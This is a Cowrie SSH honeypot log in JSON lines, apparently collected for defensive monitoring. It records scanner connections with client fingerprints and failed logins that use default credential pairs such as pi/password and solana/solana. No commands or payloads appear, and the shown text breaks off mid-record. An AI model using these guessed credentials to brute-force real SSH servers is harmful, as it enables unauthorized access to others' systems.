{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":35338,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fb645f28288","protocol":"ssh","message":"New connection: 34.81.72.185:35338 (159.203.135.109:22) [session: 7fb645f28288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:54:35.276656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:54:35.280877Z","src_ip":"34.81.72.185","session":"7fb645f28288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:54:35.470523Z","src_ip":"34.81.72.185","session":"7fb645f28288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow123!","message":"login attempt [airflow/airflow123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:54:36.261542Z","src_ip":"34.81.72.185","session":"7fb645f28288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:54:37.452593Z","src_ip":"34.81.72.185","session":"7fb645f28288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":33106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae49d47f05f5","protocol":"ssh","message":"New connection: 45.134.9.27:33106 (159.203.135.109:22) [session: ae49d47f05f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:41.452737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:41.457355Z","src_ip":"45.134.9.27","session":"ae49d47f05f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:41.521999Z","src_ip":"45.134.9.27","session":"ae49d47f05f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"install","password":"1234","message":"login attempt [install/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:41.813642Z","src_ip":"45.134.9.27","session":"ae49d47f05f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:42.881297Z","src_ip":"45.134.9.27","session":"ae49d47f05f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59580,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a236f2603f","protocol":"ssh","message":"New connection: 2.57.122.208:59580 (10.17.0.5:22) [session: d4a236f2603f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:47.364536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:47.388227Z","src_ip":"2.57.122.208","session":"d4a236f2603f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:47.592696Z","src_ip":"2.57.122.208","session":"d4a236f2603f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:47.943861Z","src_ip":"2.57.122.208","session":"d4a236f2603f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":42216,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a867fd16aff","protocol":"ssh","message":"New connection: 103.13.206.100:42216 (10.17.0.5:22) [session: 5a867fd16aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:48.669024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:48.672749Z","src_ip":"103.13.206.100","session":"5a867fd16aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:48.921436Z","src_ip":"103.13.206.100","session":"5a867fd16aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:49.049282Z","src_ip":"2.57.122.208","session":"d4a236f2603f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"password","message":"login attempt [pi/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:49.885264Z","src_ip":"103.13.206.100","session":"5a867fd16aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:55:51.118837Z","src_ip":"103.13.206.100","session":"5a867fd16aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":49916,"dst_ip":"159.203.135.109","dst_port":22,"session":"0589c6cf34b9","protocol":"ssh","message":"New connection: 103.59.94.117:49916 (159.203.135.109:22) [session: 0589c6cf34b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:03.044499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:03.049269Z","src_ip":"103.59.94.117","session":"0589c6cf34b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:03.290544Z","src_ip":"103.59.94.117","session":"0589c6cf34b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steve","password":"12345678","message":"login attempt [steve/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:04.283906Z","src_ip":"103.59.94.117","session":"0589c6cf34b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:05.530530Z","src_ip":"103.59.94.117","session":"0589c6cf34b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":49418,"dst_ip":"159.203.135.109","dst_port":22,"session":"398418d45c9f","protocol":"ssh","message":"New connection: 159.65.30.211:49418 (159.203.135.109:22) [session: 398418d45c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:13.108801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:13.113105Z","src_ip":"159.65.30.211","session":"398418d45c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:13.182257Z","src_ip":"159.65.30.211","session":"398418d45c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessica","password":"jessica","message":"login attempt [jessica/jessica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:13.322531Z","src_ip":"159.65.30.211","session":"398418d45c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:14.393316Z","src_ip":"159.65.30.211","session":"398418d45c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":59316,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5d1b5c56ecc","protocol":"ssh","message":"New connection: 34.81.72.185:59316 (159.203.135.109:22) [session: e5d1b5c56ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:36.140498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:36.144948Z","src_ip":"34.81.72.185","session":"e5d1b5c56ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:36.339628Z","src_ip":"34.81.72.185","session":"e5d1b5c56ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ceo","password":"password","message":"login attempt [ceo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:37.147505Z","src_ip":"34.81.72.185","session":"e5d1b5c56ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:56:38.344413Z","src_ip":"34.81.72.185","session":"e5d1b5c56ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":47118,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dfc33fe41ff","protocol":"ssh","message":"New connection: 80.94.92.168:47118 (10.17.0.5:22) [session: 0dfc33fe41ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:57:57.134322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:57:57.280039Z","src_ip":"80.94.92.168","session":"0dfc33fe41ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:57:57.283587Z","src_ip":"80.94.92.168","session":"0dfc33fe41ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:57:58.366007Z","src_ip":"80.94.92.168","session":"0dfc33fe41ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:57:59.545875Z","src_ip":"80.94.92.168","session":"0dfc33fe41ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32924,"dst_ip":"10.17.0.5","dst_port":22,"session":"50dbfcabf5bf","protocol":"ssh","message":"New connection: 2.57.122.208:32924 (10.17.0.5:22) [session: 50dbfcabf5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:02.533511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:02.537610Z","src_ip":"2.57.122.208","session":"50dbfcabf5bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s